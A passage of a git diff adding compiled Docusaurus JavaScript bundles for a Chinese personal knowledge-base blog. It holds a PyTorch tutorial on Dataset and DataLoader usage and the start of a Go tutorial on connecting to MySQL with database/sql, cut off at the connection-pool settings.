/dev/null +++ b/assets/js/615e97e2.97afa578.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5723],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>i});var a=t(96540);const r={},s=a.createContext(r);function l(e){const n=a.useContext(s);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),a.createElement(s.Provider,{value:n},e.children)}},66404:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>o,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>a,toc:()=>d});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","title":"3.3 \u6570\u636e\u8bfb\u5165.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.2 \u57fa\u672c\u914d\u7f6e.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e"},"next":{"title":"3.4 \u6a21\u578b\u6784\u5efa.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa"}}');var r=t(74848),s=t(28453);const l={},i="3.3 \u6570\u636e\u8bfb\u5165.md",o={},d=[];function c(e){const n={a:"a",code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"33-\u6570\u636e\u8bfb\u5165md",children:"3.3 \u6570\u636e\u8bfb\u5165.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"33-\u6570\u636e\u8bfb\u5165",children:"3.3 \u6570\u636e\u8bfb\u5165"}),"\n",(0,r.jsx)(n.p,{children:"PyTorch\u6570\u636e\u8bfb\u5165\u662f\u901a\u8fc7Dataset+DataLoader\u7684\u65b9\u5f0f\u5b8c\u6210\u7684\uff0cDataset\u5b9a\u4e49\u597d\u6570\u636e\u7684\u683c\u5f0f\u548c\u6570\u636e\u53d8\u6362\u5f62\u5f0f\uff0cDataLoader\u7528iterative\u7684\u65b9\u5f0f\u4e0d\u65ad\u8bfb\u5165\u6279\u6b21\u6570\u636e\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"PyTorch\u5e38\u89c1\u7684\u6570\u636e\u8bfb\u53d6\u65b9\u5f0f"}),"\n",(0,r.jsx)(n.li,{children:"\u6784\u5efa\u81ea\u5df1\u7684\u6570\u636e\u8bfb\u53d6\u6d41\u7a0b"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5b9a\u4e49\u81ea\u5df1\u7684Dataset\u7c7b\u6765\u5b9e\u73b0\u7075\u6d3b\u7684\u6570\u636e\u8bfb\u53d6\uff0c\u5b9a\u4e49\u7684\u7c7b\u9700\u8981\u7ee7\u627fPyTorch\u81ea\u8eab\u7684Dataset\u7c7b\u3002\u4e3b\u8981\u5305\u542b\u4e09\u4e2a\u51fd\u6570\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"__init__"}),": \u7528\u4e8e\u5411\u7c7b\u4e2d\u4f20\u5165\u5916\u90e8\u53c2\u6570\uff0c\u540c\u65f6\u5b9a\u4e49\u6837\u672c\u96c6"]}),"\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"__getitem__"}),": \u7528\u4e8e\u9010\u4e2a\u8bfb\u53d6\u6837\u672c\u96c6\u5408\u4e2d\u7684\u5143\u7d20\uff0c\u53ef\u4ee5\u8fdb\u884c\u4e00\u5b9a\u7684\u53d8\u6362\uff0c\u5e76\u5c06\u8fd4\u56de\u8bad\u7ec3/\u9a8c\u8bc1\u6240\u9700\u7684\u6570\u636e"]}),"\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"__len__"}),": \u7528\u4e8e\u8fd4\u56de\u6570\u636e\u96c6\u7684\u6837\u672c\u6570"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4e0b\u9762\u4ee5cifar10\u6570\u636e\u96c6\u4e3a\u4f8b\u7ed9\u51fa\u6784\u5efaDataset\u7c7b\u7684\u65b9\u5f0f\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"import torch\nfrom torchvision import datasets\ntrain_data = datasets.ImageFolder(train_path, transform=data_transform)\nval_data = datasets.ImageFolder(val_path, transform=data_transform)\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u4f7f\u7528\u4e86PyTorch\u81ea\u5e26\u7684ImageFolder\u7c7b\u7684\u7528\u4e8e\u8bfb\u53d6\u6309\u4e00\u5b9a\u7ed3\u6784\u5b58\u50a8\u7684\u56fe\u7247\u6570\u636e\uff08path\u5bf9\u5e94\u56fe\u7247\u5b58\u653e\u7684\u76ee\u5f55\uff0c\u76ee\u5f55\u4e0b\u5305\u542b\u82e5\u5e72\u5b50\u76ee\u5f55\uff0c\u6bcf\u4e2a\u5b50\u76ee\u5f55\u5bf9\u5e94\u5c5e\u4e8e\u540c\u4e00\u4e2a\u7c7b\u7684\u56fe\u7247\uff09\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u5176\u4e2d",(0,r.jsx)(n.code,{children:"data_transform"}),"\u53ef\u4ee5\u5bf9\u56fe\u50cf\u8fdb\u884c\u4e00\u5b9a\u7684\u53d8\u6362\uff0c\u5982\u7ffb\u8f6c\u3001\u88c1\u526a\u7b49\u64cd\u4f5c\uff0c\u53ef\u81ea\u5df1\u5b9a\u4e49\u3002\u8fd9\u91cc\u6211\u4eec\u4f1a\u5728\u4e0b\u4e00\u7ae0\u901a\u8fc7\u5b9e\u6218\u52a0\u4ee5\u4ecb\u7ecd\u5e76\u5728",(0,r.jsx)(n.a,{href:"https://github.com/datawhalechina/thorough-pytorch/tree/main/notebook/%E7%AC%AC%E5%85%AB%E7%AB%A0%20PyTorch%E7%94%9F%E6%80%81%E7%AE%80%E4%BB%8B",children:"notebook"}),"\u4e2d\u505a\u4e86\u793a\u4f8b\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u7ed9\u51fa\u4e00\u4e2a\u81ea\u5df1\u5b9a\u5236Dataset\u7684\u4f8b\u5b50"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:'\nimport os\nimport pandas as pd\nfrom torchvision.io import read_image\n\nclass MyDataset(Dataset):\n def __init__(self, annotations_file, img_dir, transform=None, target_transform=None):\n """\n Args:\n annotations_file (string): Path to the csv file with annotations.\n img_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n target_transform (callable, optional): Optional transform to be applied\n on the target.\n """\n self.img_labels = pd.read_csv(annotations_file)\n self.img_dir = img_dir\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return len(self.img_labels)\n\n def __getitem__(self, idx):\n """\n Args:\n idx (int): Index\n """\n img_path = os.path.join(self.img_dir, self.img_labels.iloc[idx, 0])\n image = read_image(img_path)\n label = self.img_labels.iloc[idx, 1]\n if self.transform:\n image = self.transform(image)\n if self.target_transform:\n label = self.target_transform(label)\n return image, label\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u4e2d\uff0c\u6211\u4eec\u7684\u6807\u7b7e\u7c7b\u4f3c\u4e8e\u4ee5\u4e0b\u7684\u5f62\u5f0f\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-csv",children:"image1.jpg, 0\nimage2.jpg, 1\n......\nimage9.jpg, 9\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6784\u5efa\u597dDataset\u540e\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528DataLoader\u6765\u6309\u6279\u6b21\u8bfb\u5165\u6570\u636e\u4e86\uff0c\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"from torch.utils.data import DataLoader\n\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, num_workers=4, shuffle=True, drop_last=True)\nval_loader = torch.utils.data.DataLoader(val_data, batch_size=batch_size, num_workers=4, shuffle=False)\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u4e2d:"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"batch_size\uff1a\u6837\u672c\u662f\u6309\u201c\u6279\u201d\u8bfb\u5165\u7684\uff0cbatch_size\u5c31\u662f\u6bcf\u6b21\u8bfb\u5165\u7684\u6837\u672c\u6570"}),"\n",(0,r.jsx)(n.li,{children:"num_workers\uff1a\u6709\u591a\u5c11\u4e2a\u8fdb\u7a0b\u7528\u4e8e\u8bfb\u53d6\u6570\u636e\uff0cWindows\u4e0b\u8be5\u53c2\u6570\u8bbe\u7f6e\u4e3a0\uff0cLinux\u4e0b\u5e38\u89c1\u7684\u4e3a4\u6216\u80058\uff0c\u6839\u636e\u81ea\u5df1\u7684\u7535\u8111\u914d\u7f6e\u6765\u8bbe\u7f6e"}),"\n",(0,r.jsx)(n.li,{children:"shuffle\uff1a\u662f\u5426\u5c06\u8bfb\u5165\u7684\u6570\u636e\u6253\u4e71\uff0c\u4e00\u822c\u5728\u8bad\u7ec3\u96c6\u4e2d\u8bbe\u7f6e\u4e3aTrue\uff0c\u9a8c\u8bc1\u96c6\u4e2d\u8bbe\u7f6e\u4e3aFalse"}),"\n",(0,r.jsx)(n.li,{children:"drop_last\uff1a\u5bf9\u4e8e\u6837\u672c\u6700\u540e\u4e00\u90e8\u5206\u6ca1\u6709\u8fbe\u5230\u6279\u6b21\u6570\u7684\u6837\u672c\uff0c\u4f7f\u5176\u4e0d\u518d\u53c2\u4e0e\u8bad\u7ec3"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u53ef\u4ee5\u770b\u4e00\u4e0b\u6211\u4eec\u7684\u52a0\u8f7d\u7684\u6570\u636e\u3002PyTorch\u4e2d\u7684DataLoader\u7684\u8bfb\u53d6\u53ef\u4ee5\u4f7f\u7528next\u548citer\u6765\u5b8c\u6210"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"import matplotlib.pyplot as plt\nimages, labels = next(iter(val_loader))\nprint(images.shape)\nplt.imshow(images[0].transpose(1,2,0))\nplt.show()\n"})})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(c,{...e})}):c(e)}}}]); \ No newline at end of file diff --git a/assets/js/625750b3.52c30853.js b/assets/js/625750b3.52c30853.js new file mode 100644 index 0000000..b519405 --- /dev/null +++ b/assets/js/625750b3.52c30853.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6473],{19175:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>x,frontMatter:()=>i,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","title":"Golang-\u64cd\u4f5cMySQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/12.Golang-\u64cd\u4f5cMySQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/12.Golang-\u64cd\u4f5cMySQL.md","tags":[],"version":"current","sidebarPosition":12,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io"},"next":{"title":"Redis","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis"}}');var s=r(74848),l=r(28453);const i={},d=void 0,c={},a=[{value:"\u4e0b\u8f7d\u4f9d\u8d56",id:"\u4e0b\u8f7d\u4f9d\u8d56",level:3},{value:"\u4f7f\u7528MySQL\u9a71\u52a8",id:"\u4f7f\u7528mysql\u9a71\u52a8",level:3},{value:"\u521d\u59cb\u5316\u8fde\u63a5",id:"\u521d\u59cb\u5316\u8fde\u63a5",level:3},{value:"SetMaxOpenConns",id:"setmaxopenconns",level:3},{value:"SetMaxIdleConns",id:"setmaxidleconns",level:3},{value:"CRUD",id:"crud",level:2},{value:"\u5efa\u5e93\u5efa\u8868",id:"\u5efa\u5e93\u5efa\u8868",level:3},{value:"\u67e5\u8be2",id:"\u67e5\u8be2",level:3},{value:"\u5355\u884c\u67e5\u8be2",id:"\u5355\u884c\u67e5\u8be2",level:4},{value:"\u591a\u884c\u67e5\u8be2",id:"\u591a\u884c\u67e5\u8be2",level:4},{value:"\u63d2\u5165\u6570\u636e",id:"\u63d2\u5165\u6570\u636e",level:3},{value:"\u66f4\u65b0\u6570\u636e",id:"\u66f4\u65b0\u6570\u636e",level:3},{value:"\u5220\u9664\u6570\u636e",id:"\u5220\u9664\u6570\u636e",level:3},{value:"MySQL\u9884\u5904\u7406",id:"mysql\u9884\u5904\u7406",level:2},{value:"\u4ec0\u4e48\u662f\u9884\u5904\u7406\uff1f",id:"\u4ec0\u4e48\u662f\u9884\u5904\u7406",level:3},{value:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406\uff1f",id:"\u4e3a\u4ec0\u4e48\u8981\u9884\u5904\u7406",level:3},{value:"Go\u5b9e\u73b0MySQL\u9884\u5904\u7406",id:"go\u5b9e\u73b0mysql\u9884\u5904\u7406",level:3},{value:"SQL\u6ce8\u5165\u95ee\u9898",id:"sql\u6ce8\u5165\u95ee\u9898",level:3},{value:"Go\u5b9e\u73b0MySQL\u4e8b\u52a1",id:"go\u5b9e\u73b0mysql\u4e8b\u52a1",level:2},{value:"\u4ec0\u4e48\u662f\u4e8b\u52a1\uff1f",id:"\u4ec0\u4e48\u662f\u4e8b\u52a1",level:3},{value:"\u4e8b\u52a1\u7684ACID",id:"\u4e8b\u52a1\u7684acid",level:3},{value:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5",id:"\u4e8b\u52a1\u76f8\u5173\u65b9\u6cd5",level:3},{value:"\u4e8b\u52a1\u793a\u4f8b",id:"\u4e8b\u52a1\u793a\u4f8b",level:3}];function o(e){const n={a:"a",code:"code",h2:"h2",h3:"h3",h4:"h4",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,s.jsxs)(n.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(n.code,{children:"database/sql"}),"\u5305\u63d0\u4f9b\u4e86\u4fdd\u8bc1SQL\u6216\u7c7bSQL\u6570\u636e\u5e93\u7684\u6cdb\u7528\u63a5\u53e3\uff0c\u5e76\u4e0d\u63d0\u4f9b\u5177\u4f53\u7684\u6570\u636e\u5e93\u9a71\u52a8\u3002\u4f7f\u7528",(0,s.jsx)(n.code,{children:"database/sql"}),"\u5305\u65f6\u5fc5\u987b\u6ce8\u5165\uff08\u81f3\u5c11\uff09\u4e00\u4e2a\u6570\u636e\u5e93\u9a71\u52a8\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u5e38\u7528\u7684\u6570\u636e\u5e93\u57fa\u672c\u4e0a\u90fd\u6709\u5b8c\u6574\u7684\u7b2c\u4e09\u65b9\u5b9e\u73b0\u3002\u4f8b\u5982\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/go-sql-driver/mysql",children:"MySQL\u9a71\u52a8"})]}),"\n",(0,s.jsx)(n.h3,{id:"\u4e0b\u8f7d\u4f9d\u8d56",children:"\u4e0b\u8f7d\u4f9d\u8d56"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"go get -u github.com/go-sql-driver/mysql\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u4f7f\u7528mysql\u9a71\u52a8",children:"\u4f7f\u7528MySQL\u9a71\u52a8"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func Open(driverName, dataSourceName string) (*DB, error)\n"})}),"\n",(0,s.jsx)(n.p,{children:"Open\u6253\u5f00\u4e00\u4e2adirverName\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0cdataSourceName\u6307\u5b9a\u6570\u636e\u6e90\uff0c\u4e00\u822c\u81f3\u5c11\u5305\u62ec\u6570\u636e\u5e93\u6587\u4ef6\u540d\u548c\u5176\u5b83\u8fde\u63a5\u5fc5\u8981\u7684\u4fe1\u606f\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'import (\n\t"database/sql"\n\n\t_ "github.com/go-sql-driver/mysql"\n)\n\nfunc main() {\n // DSN:Data Source Name\n\tdsn := "user:password@tcp(127.0.0.1:3306)/dbname"\n\tdb, err := sql.Open("mysql", dsn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer db.Close() // \u6ce8\u610f\u8fd9\u884c\u4ee3\u7801\u8981\u5199\u5728\u4e0a\u9762err\u5224\u65ad\u7684\u4e0b\u9762\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u601d\u8003\u9898"}),"\uff1a \u4e3a\u4ec0\u4e48\u4e0a\u9762\u4ee3\u7801\u4e2d\u7684",(0,s.jsx)(n.code,{children:"defer db.Close()"}),"\u8bed\u53e5\u4e0d\u5e94\u8be5\u5199\u5728",(0,s.jsx)(n.code,{children:"if err != nil"}),"\u7684\u524d\u9762\u5462\uff1f"]}),"\n",(0,s.jsx)(n.h3,{id:"\u521d\u59cb\u5316\u8fde\u63a5",children:"\u521d\u59cb\u5316\u8fde\u63a5"}),"\n",(0,s.jsx)(n.p,{children:"Open\u51fd\u6570\u53ef\u80fd\u53ea\u662f\u9a8c\u8bc1\u5176\u53c2\u6570\u683c\u5f0f\u662f\u5426\u6b63\u786e\uff0c\u5b9e\u9645\u4e0a\u5e76\u4e0d\u521b\u5efa\u4e0e\u6570\u636e\u5e93\u7684\u8fde\u63a5\u3002\u5982\u679c\u8981\u68c0\u67e5\u6570\u636e\u6e90\u7684\u540d\u79f0\u662f\u5426\u771f\u5b9e\u6709\u6548\uff0c\u5e94\u8be5\u8c03\u7528Ping\u65b9\u6cd5\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u8fd4\u56de\u7684DB\u5bf9\u8c61\u53ef\u4ee5\u5b89\u5168\u5730\u88ab\u591a\u4e2agoroutine\u5e76\u53d1\u4f7f\u7528\uff0c\u5e76\u4e14\u7ef4\u62a4\u5176\u81ea\u5df1\u7684\u7a7a\u95f2\u8fde\u63a5\u6c60\u3002\u56e0\u6b64\uff0cOpen\u51fd\u6570\u5e94\u8be5\u4ec5\u88ab\u8c03\u7528\u4e00\u6b21\uff0c\u5f88\u5c11\u9700\u8981\u5173\u95ed\u8fd9\u4e2aDB\u5bf9\u8c61\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf",(0,s.jsx)(n.code,{children:"db"}),"\uff0c\u7528\u6765\u4fdd\u5b58\u6570\u636e\u5e93\u8fde\u63a5\u5bf9\u8c61\u3002\u5c06\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u62c6\u5206\u51fa\u4e00\u4e2a\u72ec\u7acb\u7684",(0,s.jsx)(n.code,{children:"initDB"}),"\u51fd\u6570\uff0c\u53ea\u9700\u8981\u5728\u7a0b\u5e8f\u542f\u52a8\u65f6\u8c03\u7528\u4e00\u6b21\u8be5\u51fd\u6570\u5b8c\u6210\u5168\u5c40\u53d8\u91cfdb\u7684\u521d\u59cb\u5316\uff0c\u5176\u4ed6\u51fd\u6570\u4e2d\u5c31\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\u5168\u5c40\u53d8\u91cf",(0,s.jsx)(n.code,{children:"db"}),"\u4e86\u3002\uff08",(0,s.jsx)(n.strong,{children:"\u6ce8\u610f\u4e0b\u65b9\u7684\u6ce8\u610f"}),"\uff09"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// \u5b9a\u4e49\u4e00\u4e2a\u5168\u5c40\u5bf9\u8c61db\nvar db *sql.DB\n\n// \u5b9a\u4e49\u4e00\u4e2a\u521d\u59cb\u5316\u6570\u636e\u5e93\u7684\u51fd\u6570\nfunc initDB() (err error) {\n\t// DSN:Data Source Name\n\tdsn := "user:password@tcp(127.0.0.1:3306)/sql_test?charset=utf8mb4&parseTime=True"\n\t// \u4e0d\u4f1a\u6821\u9a8c\u8d26\u53f7\u5bc6\u7801\u662f\u5426\u6b63\u786e\n\t// \u6ce8\u610f\uff01\uff01\uff01\u8fd9\u91cc\u4e0d\u8981\u4f7f\u7528:=\uff0c\u6211\u4eec\u662f\u7ed9\u5168\u5c40\u53d8\u91cf\u8d4b\u503c\uff0c\u7136\u540e\u5728main\u51fd\u6570\u4e2d\u4f7f\u7528\u5168\u5c40\u53d8\u91cfdb\n\tdb, err = sql.Open("mysql", dsn)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// \u5c1d\u8bd5\u4e0e\u6570\u636e\u5e93\u5efa\u7acb\u8fde\u63a5\uff08\u6821\u9a8cdsn\u662f\u5426\u6b63\u786e\uff09\n\terr = db.Ping()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc main() {\n\terr := initDB() // \u8c03\u7528\u8f93\u51fa\u5316\u6570\u636e\u5e93\u7684\u51fd\u6570\n\tif err != nil {\n\t\tfmt.Printf("init db failed,err:%v\\n", err)\n\t\treturn\n\t}\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5176\u4e2d",(0,s.jsx)(n.code,{children:"sql.DB"}),"\u662f\u8868\u793a\u8fde\u63a5\u7684\u6570\u636e\u5e93\u5bf9\u8c61\uff08\u7ed3\u6784\u4f53\u5b9e\u4f8b\uff09\uff0c\u5b83\u4fdd\u5b58\u4e86\u8fde\u63a5\u6570\u636e\u5e93\u76f8\u5173\u7684\u6240\u6709\u4fe1\u606f\u3002\u5b83\u5185\u90e8\u7ef4\u62a4\u7740\u4e00\u4e2a\u5177\u6709\u96f6\u5230\u591a\u4e2a\u5e95\u5c42\u8fde\u63a5\u7684\u8fde\u63a5\u6c60\uff0c\u5b83\u53ef\u4ee5\u5b89\u5168\u5730\u88ab\u591a\u4e2agoroutine\u540c\u65f6\u4f7f\u7528\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"setmaxopenconns",children:"SetMaxOpenConns"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) SetMaxOpenConns(n int)\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"SetMaxOpenConns"}),"\u8bbe\u7f6e\u4e0e\u6570\u636e\u5e93\u5efa\u7acb\u8fde\u63a5\u7684\u6700\u5927\u6570\u76ee\u3002 \u5982\u679cn\u5927\u4e8e0\u4e14\u5c0f\u4e8e\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\uff0c\u4f1a\u5c06\u6700\u5927\u95f2\u7f6e\u8fde\u63a5\u6570\u51cf\u5c0f\u5230\u5339\u914d\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\u7684\u9650\u5236\u3002 \u5982\u679c",(0,s.jsx)(n.code,{children:"n<=0"}),"\uff0c\u4e0d\u4f1a\u9650\u5236\u6700\u5927\u5f00\u542f\u8fde\u63a5\u6570\uff0c\u9ed8\u8ba4\u4e3a0\uff08\u65e0\u9650\u5236\uff09\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"setmaxidleconns",children:"SetMaxIdleConns"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:"func (db *DB) SetMaxIdleConns(n 